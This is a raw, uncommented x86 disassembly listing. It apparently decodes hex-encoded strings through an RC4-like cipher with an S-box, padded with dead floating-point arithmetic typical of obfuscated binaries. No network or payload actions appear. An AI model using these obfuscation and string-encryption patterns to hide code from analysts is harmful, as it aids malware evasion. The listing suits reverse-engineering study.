mov dl, byte [ebp - 0x1b7]
mov byte [ebp - 0x226], dl
cmp dword [ebp - 0x248], 0
jle 0x488996
mov eax, dword [ebp - 0x248]
mov cl, byte [ebp - 0x226]
mov byte [ebp + eax - 0x71], cl
mov edx, dword [ebp - 0x248]
add edx, 1
mov dword [ebp - 0x248], edx
mov eax, dword [ebp - 0x464]
add eax, 1
mov dword [ebp - 0x464], eax
mov ecx, dword [ebp - 0x248]
shl ecx, 1
mov dword [ebp - 0x6c8], ecx
mov edx, dword [ebp - 0x6b4]
add edx, dword [ebp - 0x6c8]
movzx eax, byte [edx]
mov dword [ebp - 0x694], eax
mov dword [ebp - 0x660], 0x91
mov ecx, dword [ebp - 0x248]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x6b0], edx
mov eax, dword [ebp - 0x6b4]
add eax, dword [ebp - 0x6b0]
movzx ecx, byte [eax]
mov dword [ebp - 0x65c], ecx
mov dword [ebp - 0x664], 0x2a
mov edx, dword [ebp - 0x694]
sub edx, dword [ebp - 0x660]
mov dword [ebp - 0x658], edx
mov eax, dword [ebp - 0x65c]
sub eax, dword [ebp - 0x664]
mov dword [ebp - 0x654], eax
mov ecx, dword [ebp - 0x658]
shl ecx, 4
mov dword [ebp - 0x6f4], ecx
mov edx, dword [ebp - 0x654]
mov dword [ebp - 0x6f0], edx
mov eax, dword [ebp - 0x6f4]
or eax, dword [ebp - 0x6f0]
mov dword [ebp - 0x6fc], eax
mov cl, byte [ebp - 0x6fc]
mov byte [ebp - 0x1e2], cl
movzx edx, byte [ebp - 0x1ca]
mov al, byte [ebp + edx - 0x1cd0]
mov byte [ebp - 0x1df], al
movzx ecx, byte [ebp - 0x1a9]
movzx edx, byte [ebp + ecx - 0x1cd0]
mov dword [ebp - 0x1940], edx
mov al, byte [ebp - 0x1a9]
add al, 1
mov byte [ebp - 0x1a9], al
movzx ecx, byte [ebp - 0x1b6]
add ecx, dword [ebp - 0x1940]
mov byte [ebp - 0x1b6], cl
movzx edx, byte [ebp - 0x1b6]
movzx eax, byte [ebp - 0x1ca]
mov cl, byte [ebp + edx - 0x1cd0]
mov byte [ebp + eax - 0x1cd0], cl
movzx edx, byte [ebp - 0x1b7]
movzx eax, byte [ebp - 0x1b6]
mov cl, byte [ebp + edx - 0x1cd0]
mov byte [ebp + eax - 0x1cd0], cl
movzx edx, byte [ebp - 0x1a9]
movzx eax, byte [ebp - 0x1b7]
mov cl, byte [ebp + edx - 0x1cd0]
mov byte [ebp + eax - 0x1cd0], cl
movzx edx, byte [ebp - 0x1a9]
mov al, byte [ebp - 0x1df]
mov byte [ebp + edx - 0x1cd0], al
movzx ecx, byte [ebp - 0x1df]
movzx edx, byte [ebp + ecx - 0x1cd0]
movzx eax, byte [ebp - 0x1e0]
add eax, edx
mov byte [ebp - 0x1e0], al
movzx ecx, byte [ebp - 0x1e2]
movzx edx, byte [ebp - 0x1b6]
movzx eax, byte [ebp + edx - 0x1cd0]
movzx edx, byte [ebp - 0x1a9]
movzx edx, byte [ebp + edx - 0x1cd0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1cd0]
xor ecx, eax
movzx edx, byte [ebp - 0x1b7]
movzx eax, byte [ebp + edx - 0x1cd0]
movzx edx, byte [ebp - 0x1ca]
movzx edx, byte [ebp + edx - 0x1cd0]
add eax, edx
movzx edx, byte [ebp - 0x1e0]
movzx edx, byte [ebp + edx - 0x1cd0]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1cd0]
movzx edx, byte [ebp + eax - 0x1cd0]
xor ecx, edx
mov byte [ebp - 0x1b7], cl
mov al, byte [ebp - 0x1e2]
mov byte [ebp - 0x1ca], al
mov cl, byte [ebp - 0x1b7]
mov byte [ebp - 0x226], cl
cmp dword [ebp - 0x248], 0
jle 0x488bf2
mov edx, dword [ebp - 0x248]
mov al, byte [ebp - 0x226]
mov byte [ebp + edx - 0x71], al
mov ecx, 1
imul edx, ecx, 0xd
mov dword [ebp - 0xf70], edx
cmp dword [ebp - 0xf70], 0xe
jae 0x488c0b
jmp 0x488c11
call fcn.0051c285
nop
mov eax, dword [ebp - 0xf70]
mov byte [ebp + eax - 0x70], 0
jmp 0x488c6c
mov dword [ebp - 0xcc0], 0
jmp 0x488c39
mov ecx, dword [ebp - 0xcc0]
add ecx, 1
mov dword [ebp - 0xcc0], ecx
cmp dword [ebp - 0xcc0], 0xe
jge 0x488c6c
mov edx, dword [ebp - 0xcc0]
mov dword [ebp - 0xf74], edx
cmp dword [ebp - 0xf74], 0xe
jae 0x488c59
jmp 0x488c5f
call fcn.0051c285
nop
mov eax, dword [ebp - 0xf74]
mov byte [ebp + eax - 0x70], 0
jmp 0x488c2a
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ecx + 0x34]
mov dword [ebp - 0x1944], edx
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0x1944]
call fcn.004dd330
mov ecx, dword [ebp - 0x1f4]
mov dword [ecx + 0x4c], eax
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x144], 0
xorps xmm0, xmm0
movsd qword [ebp - 0xbb0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xba8], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0xba8], xmm0
jmp 0x488ce2
movsd xmm0, qword [ebp - 0xba8]
addsd xmm0, qword [0x580ac8]
movsd qword [ebp - 0xba8], xmm0
movsd xmm0, qword [0x5821e8]
comisd xmm0, xmmword [ebp - 0xba8]
jbe 0x488d93
movsd xmm0, qword [0x582090]
mulsd xmm0, qword [ebp - 0xba8]
mulsd xmm0, qword [ebp - 0xba8]
movsd xmm1, qword [ebp - 0xba8]
mulsd xmm1, qword [ebp - 0xba8]
subsd xmm0, xmm1
movsd xmm1, qword [0x580b00]
mulsd xmm1, qword [ebp - 0xba8]
mulsd xmm1, qword [ebp - 0xba8]
addsd xmm1, qword [0x581ec8]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0xbb0]
movsd qword [ebp - 0xbb0], xmm0
movsd xmm0, qword [ebp - 0xbb0]
comisd xmm0, xmmword [0x581fd0]
jbe 0x488d8e
movsd xmm0, qword [0x581e10]
mulsd xmm0, qword [ebp - 0xba8]
movsd xmm1, qword [ebp - 0xbb0]
subsd xmm1, xmm0
movsd qword [ebp - 0xbb0], xmm1
jmp 0x488cca
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0xbb0]
jbe 0x488de4
xchg byte [ebx], cl
jg 0x488db1
jge 0x488db7
jnp 0x488db3
or dword [ecx], 0xffffff86
invalid
or al, 0x86
adc dword [ecx + 0xf], edi
adc dword [ebx], 0x16790a77
adc esi, dword [edi + 0xa]
jns 0x488dd2
jge 0x488dca
ja 0x488dd3
or byte [eax], 0x7a
invalid
xor byte [ebx], dh
insb byte es:[edi], dx
das
push ecx
jp 0x488e04
dec esi
and byte [esi + 0x62], cl
xor dword [ebx], esi
xor byte [ebp + 0x6e], cl
dec esi
bound esi, qword [ecx]
xor esi, dword [eax]
dec ebp
outsb dx, byte [esi]
cmp eax, 0x32656d47
jmp 0x48b378
mov dword [ebp - 0x140], 0x488da0
mov dword [ebp - 0x144], 0x488dc6
mov edx, dword [ebp - 0x140]
mov dword [ebp - 0x54c], edx
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x1948], eax
mov byte [ebp - 0x764], 0x1d
mov dword [ebp - 0x468], 0
jmp 0x488e32
mov ecx, dword [ebp - 0x468]
add ecx, 1
mov dword [ebp - 0x468], ecx
cmp dword [ebp - 0x468], 0x100
jae 0x488e53
mov edx, dword [ebp - 0x468]
mov al, byte [ebp - 0x468]
mov byte [ebp + edx - 0x1654], al
jmp 0x488e23
mov dword [ebp - 0xa7c], 0
mov byte [ebp - 0x1ff], 0
mov dword [ebp - 0x468], 0xff
jmp 0x488e7f
mov ecx, dword [ebp - 0x468]
sub ecx, 1
mov dword [ebp - 0x468], ecx
cmp dword [ebp - 0x468], 0
jbe 0x4890ef
mov dword [ebp - 0xd20], 0
mov dword [ebp - 0xcc4], 1
mov edx, dword [ebp - 0xcc4]
cmp edx, dword [ebp - 0x468]
jae 0x488ec0
mov eax, dword [ebp - 0xcc4]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0xcc4], ecx
jmp 0x488ea0
mov edx, dword [ebp - 0xa7c]
mov dword [ebp - 0xf80], edx
cmp dword [ebp - 0xf80], 3
ja case.default.0x488edf
mov eax, dword [ebp - 0xf80]
jmp dword [eax*4 + 0x495144]
movzx ecx, byte [ebp - 0x1ff]
movzx ebx, byte [ebp + ecx - 0x1654]
movsd xmm0, qword [ebp - 0xbb0]
call fcn.0051c6e0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1ff], bl
jmp 0x488fc8
movzx edx, byte [ebp - 0x1ff]
movzx ebx, byte [ebp + edx - 0x1654]
movsd xmm0, qword [ebp - 0xbb0]
call fcn.0051c6e0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1ff], bl
jmp 0x488fc8
movzx eax, byte [ebp - 0x1ff]
movzx ebx, byte [ebp + eax - 0x1654]
movsd xmm0, qword [ebp - 0xbb0]
call fcn.0051c6e0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1ff], bl
jmp 0x488fc8
movzx ecx, byte [ebp - 0x1ff]
movzx ebx, byte [ebp + ecx - 0x1654]
movsd xmm0, qword [ebp - 0xbb0]
call fcn.0051c6e0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1ff], bl
jmp 0x488fc8
movzx edx, byte [ebp - 0x1ff]
movzx eax, byte [ebp + edx - 0x1654]
mov ecx, dword [ebp - 0x1948]
add ecx, dword [ebp - 0xa7c]
movzx edx, byte [ecx - 4]
add eax, edx
mov byte [ebp - 0x1ff], al
mov eax, dword [ebp - 0xa7c]
add eax, 1
mov dword [ebp - 0xa7c], eax
movzx ecx, byte [ebp - 0x764]
cmp dword [ebp - 0xa7c], ecx
jb 0x489006
mov dword [ebp - 0xa7c], 0
movzx edx, byte [ebp - 0x764]
movzx eax, byte [ebp - 0x1ff]
add eax, edx
mov byte [ebp - 0x1ff], al
movzx ecx, byte [ebp - 0x1ff]
and ecx, dword [ebp - 0xcc4]
mov dword [ebp - 0x928], ecx
mov edx, dword [ebp - 0xd20]
add edx, 1
mov dword [ebp - 0xd20], edx
cmp dword [ebp - 0xd20], 0xb
jbe 0x489045
mov eax, dword [ebp - 0x928]
xor edx, edx
div dword [ebp - 0x468]
mov dword [ebp - 0x928], edx
mov eax, dword [ebp - 0x928]
cmp eax, dword [ebp - 0x468]
ja 0x488ec0
mov ecx, dword [ebp - 0x468]
cmp ecx, dword [ebp - 0x928]
je 0x4890ea
mov edx, dword [ebp - 0x928]
movzx eax, byte [ebp + edx - 0x1654]
mov ecx, dword [ebp - 0x468]
movzx edx, byte [ebp + ecx - 0x1654]
xor edx, eax
mov eax, dword [ebp - 0x468]
mov byte [ebp + eax - 0x1654], dl
mov ecx, dword [ebp - 0x468]
movzx edx, byte [ebp + ecx - 0x1654]
mov eax, dword [ebp - 0x928]
movzx ecx, byte [ebp + eax - 0x1654]
xor ecx, edx
mov edx, dword [ebp - 0x928]
mov byte [ebp + edx - 0x1654], cl
mov eax, dword [ebp - 0x928]
movzx ecx, byte [ebp + eax - 0x1654]
mov edx, dword [ebp - 0x468]
movzx eax, byte [ebp + edx - 0x1654]
xor eax, ecx
mov ecx, dword [ebp - 0x468]
mov byte [ebp + ecx - 0x1654], al
jmp 0x488e70
mov edx, 1
shl edx, 0
mov al, byte [ebp + edx - 0x1654]
mov byte [ebp - 0x194], al
movss xmm0, dword [0x5829c4]
movss dword [ebp - 0x600], xmm0
movss xmm0, dword [0x58296c]
movss dword [ebp - 0x860], xmm0
movss xmm0, dword [0x5828ec]
movss dword [ebp - 0xb80], xmm0
movss xmm0, dword [0x58286c]
movss dword [ebp - 0xac4], xmm0
movss xmm0, dword [0x5827d8]
movss dword [ebp - 0x678], xmm0
movss xmm0, dword [ebp - 0x600]
addss xmm0, dword [ebp - 0x678]
movss dword [ebp - 0x600], xmm0
movss xmm0, dword [ebp - 0x600]
addss xmm0, dword [ebp - 0x678]
movss dword [ebp - 0x600], xmm0
movss xmm0, dword [ebp - 0x860]
addss xmm0, dword [ebp - 0x678]
movss dword [ebp - 0x860], xmm0
movss xmm0, dword [ebp - 0xac4]
addss xmm0, dword [ebp - 0x678]
movss dword [ebp - 0xac4], xmm0
movss xmm0, dword [ebp - 0x860]
addss xmm0, dword [ebp - 0x678]
movss dword [ebp - 0x860], xmm0
movss xmm0, dword [ebp - 0x600]
comiss xmm0, dword [ebp - 0x678]
jbe 0x489270
movss xmm0, dword [ebp - 0x678]
subss xmm0, dword [ebp - 0x600]
movss dword [ebp - 0x678], xmm0
movss xmm0, dword [ebp - 0x860]
addss xmm0, dword [ebp - 0xb80]
movss dword [ebp - 0x860], xmm0
movss xmm0, dword [ebp - 0x678]
subss xmm0, dword [ebp - 0x600]
movss dword [ebp - 0x678], xmm0
movss xmm0, dword [ebp - 0xac4]
addss xmm0, dword [ebp - 0x678]
movss dword [ebp - 0xac4], xmm0
movss xmm0, dword [ebp - 0x678]
addss xmm0, dword [ebp - 0x600]
movss dword [ebp - 0x678], xmm0
mov ecx, 1
imul edx, ecx, 3
mov al, byte [ebp + edx - 0x1654]
mov byte [ebp - 0x1a2], al
jmp 0x4892e8
movss xmm0, dword [ebp - 0x600]
mulss xmm0, dword [ebp - 0x860]
movss dword [ebp - 0x600], xmm0
movss xmm0, dword [ebp - 0xb80]
subss xmm0, dword [ebp - 0xac4]
movss dword [ebp - 0xb80], xmm0
movss xmm0, dword [ebp - 0x600]
addss xmm0, dword [ebp - 0x860]
movss dword [ebp - 0x600], xmm0
movss xmm0, dword [ebp - 0x600]
addss xmm0, dword [ebp - 0x860]
movss dword [ebp - 0x600], xmm0
movss xmm0, dword [ebp - 0xb80]
mulss xmm0, dword [ebp - 0xac4]
movss dword [ebp - 0xb80], xmm0
mov ecx, 1
imul edx, ecx, 5
mov al, byte [ebp + edx - 0x1654]
mov byte [ebp - 0x1cb], al
mov ecx, 1
imul edx, ecx, 7
mov al, byte [ebp + edx - 0x1654]
mov byte [ebp - 0x1a0], al
movzx ecx, byte [ebp - 0x1ff]
mov dl, byte [ebp + ecx - 0x1654]
mov byte [ebp - 0x1af], dl
mov dword [ebp - 0xf84], 0x26
cmp dword [ebp - 0xf84], 2
jle 0x48b327
mov eax, dword [ebp - 0xf84]
and eax, 1
jne 0x48b327
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x330], 0
mov ecx, dword [ebp - 0x330]
add ecx, 1
mov dword [ebp - 0x330], ecx
mov dword [ebp - 0x548], 0
mov edx, dword [ebp - 0x224]
shl edx, 1
mov dword [ebp - 0x548], edx
mov dword [ebp - 0x4d8], 0
mov eax, dword [ebp - 0x54c]
add eax, dword [ebp - 0x548]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x4d8], ecx
mov dword [ebp - 0x4d0], 0
mov edx, dword [ebp - 0x4d0]
add edx, 0x77
mov dword [ebp - 0x4d0], edx
mov dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0x224]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x4f4], ecx
mov dword [ebp - 0x4b4], 0
mov edx, dword [ebp - 0x54c]
add edx, dword [ebp - 0x4f4]
movzx eax, byte [edx]
add eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x4b4], eax
mov dword [ebp - 0x4b0], 0
mov ecx, dword [ebp - 0x4b0]
add ecx, 8
mov dword [ebp - 0x4b0], ecx
mov dword [ebp - 0x49c], 0
mov edx, dword [ebp - 0x4d8]
sub edx, dword [ebp - 0x4d0]
add edx, dword [ebp - 0x49c]
mov dword [ebp - 0x49c], edx
mov dword [ebp - 0x4a4], 0
mov eax, dword [ebp - 0x4b4]
sub eax, dword [ebp - 0x4b0]
add eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x4a4], eax
mov dword [ebp - 0x550], 0
mov ecx, dword [ebp - 0x49c]
shl ecx, 4
mov dword [ebp - 0x550], ecx
mov dword [ebp - 0x520], 0
mov edx, dword [ebp - 0x4a4]
mov dword [ebp - 0x520], edx
mov dword [ebp - 0x518], 0
mov eax, dword [ebp - 0x550]
or eax, dword [ebp - 0x520]
mov dword [ebp - 0x518], eax
mov byte [ebp - 0x1c8], 0
mov cl, byte [ebp - 0x518]
mov byte [ebp - 0x1c8], cl
mov byte [ebp - 0x1c9], 0
movzx edx, byte [ebp - 0x1af]
mov al, byte [ebp + edx - 0x1654]
mov byte [ebp - 0x1c9], al
movzx ecx, byte [ebp - 0x194]
movzx edx, byte [ebp + ecx - 0x1654]
mov dword [ebp - 0x194c], edx
mov al, byte [ebp - 0x194]
add al, 1
mov byte [ebp - 0x194], al
movzx ecx, byte [ebp - 0x1a2]
add ecx, dword [ebp - 0x194c]
mov byte [ebp - 0x1a2], cl
movzx edx, byte [ebp - 0x1a2]
movzx eax, byte [ebp - 0x1af]
mov cl, byte [ebp + edx - 0x1654]
mov byte [ebp + eax - 0x1654], cl
movzx edx, byte [ebp - 0x1a0]
movzx eax, byte [ebp - 0x1a2]
mov cl, byte [ebp + edx - 0x1654]
mov byte [ebp + eax - 0x1654], cl
movzx edx, byte [ebp - 0x194]
movzx eax, byte [ebp - 0x1a0]
mov cl, byte [ebp + edx - 0x1654]
mov byte [ebp + eax - 0x1654], cl
movzx edx, byte [ebp - 0x194]
mov al, byte [ebp - 0x1c9]
mov byte [ebp + edx - 0x1654], al
movzx ecx, byte [ebp - 0x1c9]
movzx edx, byte [ebp + ecx - 0x1654]
movzx eax, byte [ebp - 0x1cb]
add eax, edx
mov byte [ebp - 0x1cb], al
movzx ecx, byte [ebp - 0x1c8]
movzx edx, byte [ebp - 0x1a2]
movzx eax, byte [ebp + edx - 0x1654]
movzx edx, byte [ebp - 0x194]
movzx edx, byte [ebp + edx - 0x1654]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1654]
xor ecx, eax
movzx edx, byte [ebp - 0x1a0]
movzx eax, byte [ebp + edx - 0x1654]
movzx edx, byte [ebp - 0x1af]
movzx edx, byte [ebp + edx - 0x1654]
add eax, edx
movzx edx, byte [ebp - 0x1cb]
movzx edx, byte [ebp + edx - 0x1654]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1654]
movzx edx, byte [ebp + eax - 0x1654]
xor ecx, edx
mov byte [ebp - 0x1a0], cl
mov al, byte [ebp - 0x1c8]
mov byte [ebp - 0x1af], al
mov cl, byte [ebp - 0x1a0]
mov byte [ebp - 0x1ec], cl
cmp dword [ebp - 0x224], 0
jle 0x48964e
mov edx, dword [ebp - 0x224]
mov al, byte [ebp - 0x1ec]
mov byte [ebp + edx - 0x95], al
mov ecx, dword [ebp - 0x224]
add ecx, 1
mov dword [ebp - 0x224], ecx
mov edx, dword [ebp - 0x330]
add edx, 1
mov dword [ebp - 0x330], edx
mov eax, dword [ebp - 0x224]
shl eax, 1
mov dword [ebp - 0x548], eax
mov ecx, dword [ebp - 0x54c]
add ecx, dword [ebp - 0x548]
movzx edx, byte [ecx]
mov dword [ebp - 0x4d8], edx
mov dword [ebp - 0x4d0], 0x77
mov eax, dword [ebp - 0x224]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x4f4], ecx
mov edx, dword [ebp - 0x54c]
add edx, dword [ebp - 0x4f4]
movzx eax, byte [edx]
mov dword [ebp - 0x4b4], eax
mov dword [ebp - 0x4b0], 8
mov ecx, dword [ebp - 0x4d8]
sub ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0x49c], ecx
mov edx, dword [ebp - 0x4b4]
sub edx, dword [ebp - 0x4b0]
mov dword [ebp - 0x4a4], edx
mov eax, dword [ebp - 0x49c]
shl eax, 4
mov dword [ebp - 0x550], eax
mov ecx, dword [ebp - 0x4a4]
mov dword [ebp - 0x520], ecx
mov edx, dword [ebp - 0x550]
or edx, dword [ebp - 0x520]
mov dword [ebp - 0x518], edx
mov al, byte [ebp - 0x518]
mov byte [ebp - 0x1c8], al
movzx ecx, byte [ebp - 0x1af]
mov dl, byte [ebp + ecx - 0x1654]
mov byte [ebp - 0x1c9], dl
movzx eax, byte [ebp - 0x194]
movzx ecx, byte [ebp + eax - 0x1654]
mov dword [ebp - 0x1950], ecx
mov dl, byte [ebp - 0x194]
add dl, 1
mov byte [ebp - 0x194], dl
movzx eax, byte [ebp - 0x1a2]
add eax, dword [ebp - 0x1950]
mov byte [ebp - 0x1a2], al
movzx ecx, byte [ebp - 0x1a2]
movzx edx, byte [ebp - 0x1af]
mov al, byte [ebp + ecx - 0x1654]
mov byte [ebp + edx - 0x1654], al
movsd xmm0, qword [0x582588]
movsd qword [ebp - 0xa50], xmm0
movsd xmm0, qword [0x5823d0]
movsd qword [ebp - 0x70c], xmm0
movsd xmm0, qword [0x5821d8]
movsd qword [ebp - 0x80c], xmm0
movsd xmm0, qword [ebp - 0x70c]
addsd xmm0, qword [ebp - 0x80c]
movsd qword [ebp - 0x70c], xmm0
movsd xmm0, qword [ebp - 0xa50]
subsd xmm0, qword [ebp - 0x80c]
movsd qword [ebp - 0xa50], xmm0
movsd xmm0, qword [ebp - 0x70c]
subsd xmm0, qword [ebp - 0x80c]
movsd qword [ebp - 0x70c], xmm0
movsd xmm0, qword [ebp - 0x80c]
comisd xmm0, xmmword [ebp - 0x70c]
jbe 0x489950
movsd xmm0, qword [ebp - 0x80c]
mulsd xmm0, qword [ebp - 0x70c]
movsd qword [ebp - 0x80c], xmm0
movsd xmm0, qword [ebp - 0x80c]
divsd xmm0, qword [ebp - 0x70c]
movsd qword [ebp - 0x80c], xmm0
movsd xmm0, qword [ebp - 0x80c]
addsd xmm0, qword [ebp - 0x70c]
movsd qword [ebp - 0x80c], xmm0
movsd xmm0, qword [ebp - 0x70c]
addsd xmm0, qword [ebp - 0xa50]
movsd qword [ebp - 0x70c], xmm0
movsd xmm0, qword [ebp - 0x70c]
mulsd xmm0, qword [ebp - 0xa50]
movsd qword [ebp - 0x70c], xmm0
movsd xmm0, qword [ebp - 0x80c]
subsd xmm0, qword [ebp - 0x70c]
movsd qword [ebp - 0x80c], xmm0
movsd xmm0, qword [ebp - 0xa50]
comisd xmm0, xmmword [ebp - 0x80c]
jbe 0x489906
movsd xmm0, qword [ebp - 0x70c]
divsd xmm0, qword [ebp - 0xa50]
movsd qword [ebp - 0x70c], xmm0
movsd xmm0, qword [ebp - 0xa50]
divsd xmm0, qword [ebp - 0x80c]
movsd qword [ebp - 0xa50], xmm0
movsd xmm0, qword [ebp - 0xa50]
mulsd xmm0, qword [ebp - 0x80c]
movsd qword [ebp - 0xa50], xmm0
jmp 0x48994e
movsd xmm0, qword [ebp - 0x70c]
addsd xmm0, qword [ebp - 0xa50]
movsd qword [ebp - 0x70c], xmm0
movsd xmm0, qword [ebp - 0x80c]
mulsd xmm0, qword [ebp - 0x70c]
movsd qword [ebp - 0x80c], xmm0
movsd xmm0, qword [ebp - 0x80c]
subsd xmm0, qword [ebp - 0x70c]
movsd qword [ebp - 0x80c], xmm0
jmp 0x4899b4
movsd xmm0, qword [ebp - 0x70c]
subsd xmm0, qword [ebp - 0xa50]
movsd qword [ebp - 0x70c], xmm0
movsd xmm0, qword [ebp - 0x70c]
mulsd xmm0, qword [ebp - 0xa50]
movsd qword [ebp - 0x70c], xmm0
movsd xmm0, qword [ebp - 0x80c]
subsd xmm0, qword [ebp - 0x70c]
movsd qword [ebp - 0x80c], xmm0
movzx ecx, byte [ebp - 0x1a0]
movzx edx, byte [ebp - 0x1a2]
mov al, byte [ebp + ecx - 0x1654]
mov byte [ebp + edx - 0x1654], al
movzx ecx, byte [ebp - 0x194]
movzx edx, byte [ebp - 0x1a0]
mov al, byte [ebp + ecx - 0x1654]
mov byte [ebp + edx - 0x1654], al
movzx ecx, byte [ebp - 0x194]
mov dl, byte [ebp - 0x1c9]
mov byte [ebp + ecx - 0x1654], dl
movzx eax, byte [ebp - 0x1c9]
movzx ecx, byte [ebp + eax - 0x1654]
movzx edx, byte [ebp - 0x1cb]
add edx, ecx
mov byte [ebp - 0x1cb], dl
movzx eax, byte [ebp - 0x1c8]
movzx ecx, byte [ebp - 0x1a2]
movzx edx, byte [ebp + ecx - 0x1654]
movzx ecx, byte [ebp - 0x194]
movzx ecx, byte [ebp + ecx - 0x1654]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1654]
xor eax, edx
movzx ecx, byte [ebp - 0x1a0]
movzx edx, byte [ebp + ecx - 0x1654]
movzx ecx, byte [ebp - 0x1af]
movzx ecx, byte [ebp + ecx - 0x1654]
add edx, ecx
movzx ecx, byte [ebp - 0x1cb]
movzx ecx, byte [ebp + ecx - 0x1654]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1654]
movzx ecx, byte [ebp + edx - 0x1654]
xor eax, ecx
mov byte [ebp - 0x1a0], al
mov dl, byte [ebp - 0x1c8]
mov byte [ebp - 0x1af], dl
mov al, byte [ebp - 0x1a0]
mov byte [ebp - 0x1ec], al
cmp dword [ebp - 0x224], 0
jle 0x489abc
mov ecx, dword [ebp - 0x224]
mov dl, byte [ebp - 0x1ec]
mov byte [ebp + ecx - 0x95], dl
mov eax, dword [ebp - 0x224]
add eax, 1
mov dword [ebp - 0x224], eax
mov ecx, dword [ebp - 0x330]
add ecx, 1
mov dword [ebp - 0x330], ecx
mov edx, dword [ebp - 0x224]
shl edx, 1
mov dword [ebp - 0x548], edx
mov eax, dword [ebp - 0x54c]
add eax, dword [ebp - 0x548]
movzx ecx, byte [eax]
mov dword [ebp - 0x4d8], ecx
mov dword [ebp - 0x4d0], 0x77
mov edx, dword [ebp - 0x224]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x4f4], eax
mov ecx, dword [ebp - 0x54c]
add ecx, dword [ebp - 0x4f4]
movzx edx, byte [ecx]
mov dword [ebp - 0x4b4], edx
mov dword [ebp - 0x4b0], 8
mov eax, dword [ebp - 0x4d8]
sub eax, dword [ebp - 0x4d0]
mov dword [ebp - 0x49c], eax
mov ecx, dword [ebp - 0x4b4]
sub ecx, dword [ebp - 0x4b0]
mov dword [ebp - 0x4a4], ecx
mov edx, dword [ebp - 0x49c]
shl edx, 4
mov dword [ebp - 0x550], edx
mov eax, dword [ebp - 0x4a4]
mov dword [ebp - 0x520], eax
mov ecx, dword [ebp - 0x550]
or ecx, dword [ebp - 0x520]
mov dword [ebp - 0x518], ecx
mov dl, byte [ebp - 0x518]
mov byte [ebp - 0x1c8], dl
movzx eax, byte [ebp - 0x1af]
mov cl, byte [ebp + eax - 0x1654]
mov byte [ebp - 0x1c9], cl
movzx edx, byte [ebp - 0x194]
movzx eax, byte [ebp + edx - 0x1654]
mov dword [ebp - 0x1954], eax
mov cl, byte [ebp - 0x194]
add cl, 1
mov byte [ebp - 0x194], cl
movzx edx, byte [ebp - 0x1a2]
add edx, dword [ebp - 0x1954]
mov byte [ebp - 0x1a2], dl
movzx eax, byte [ebp - 0x1a2]
movzx ecx, byte [ebp - 0x1af]
mov dl, byte [ebp + eax - 0x1654]
mov byte [ebp + ecx - 0x1654], dl
movzx eax, byte [ebp - 0x1a0]
movzx ecx, byte [ebp - 0x1a2]
mov dl, byte [ebp + eax - 0x1654]
mov byte [ebp + ecx - 0x1654], dl
movzx eax, byte [ebp - 0x194]
movzx ecx, byte [ebp - 0x1a0]
mov dl, byte [ebp + eax - 0x1654]
mov byte [ebp + ecx - 0x1654], dl
movzx eax, byte [ebp - 0x194]
mov cl, byte [ebp - 0x1c9]
mov byte [ebp + eax - 0x1654], cl
movzx edx, byte [ebp - 0x1c9]
movzx eax, byte [ebp + edx - 0x1654]
movzx ecx, byte [ebp - 0x1cb]
add ecx, eax
mov byte [ebp - 0x1cb], cl
movzx edx, byte [ebp - 0x1c8]
movzx eax, byte [ebp - 0x1a2]
movzx ecx, byte [ebp + eax - 0x1654]
movzx eax, byte [ebp - 0x194]
movzx eax, byte [ebp + eax - 0x1654]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1654]
xor edx, ecx
movzx eax, byte [ebp - 0x1a0]
movzx ecx, byte [ebp + eax - 0x1654]
movzx eax, byte [ebp - 0x1af]
movzx eax, byte [ebp + eax - 0x1654]
add ecx, eax
movzx eax, byte [ebp - 0x1cb]
movzx eax, byte [ebp + eax - 0x1654]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1654]
movzx eax, byte [ebp + ecx - 0x1654]
xor edx, eax
mov byte [ebp - 0x1a0], dl
movsd xmm0, qword [0x5826e8]
movsd qword [ebp - 0x814], xmm0
movsd xmm0, qword [0x582518]
movsd qword [ebp - 0x8b8], xmm0
movsd xmm0, qword [0x5822e8]
movsd qword [ebp - 0x878], xmm0
movsd xmm0, qword [ebp - 0x814]
addsd xmm0, qword [ebp - 0x878]
movsd qword [ebp - 0x814], xmm0
movsd xmm0, qword [ebp - 0x8b8]
addsd xmm0, qword [ebp - 0x878]
movsd qword [ebp - 0x8b8], xmm0
movsd xmm0, qword [ebp - 0x814]
addsd xmm0, qword [ebp - 0x878]
movsd qword [ebp - 0x814], xmm0
movsd xmm0, qword [ebp - 0x878]
comisd xmm0, xmmword [ebp - 0x814]
jbe 0x489eae
movsd xmm0, qword [ebp - 0x814]
mulsd xmm0, qword [ebp - 0x878]
movsd qword [ebp - 0x814], xmm0
movsd xmm0, qword [ebp - 0x8b8]
subsd xmm0, qword [ebp - 0x814]
movsd qword [ebp - 0x8b8], xmm0
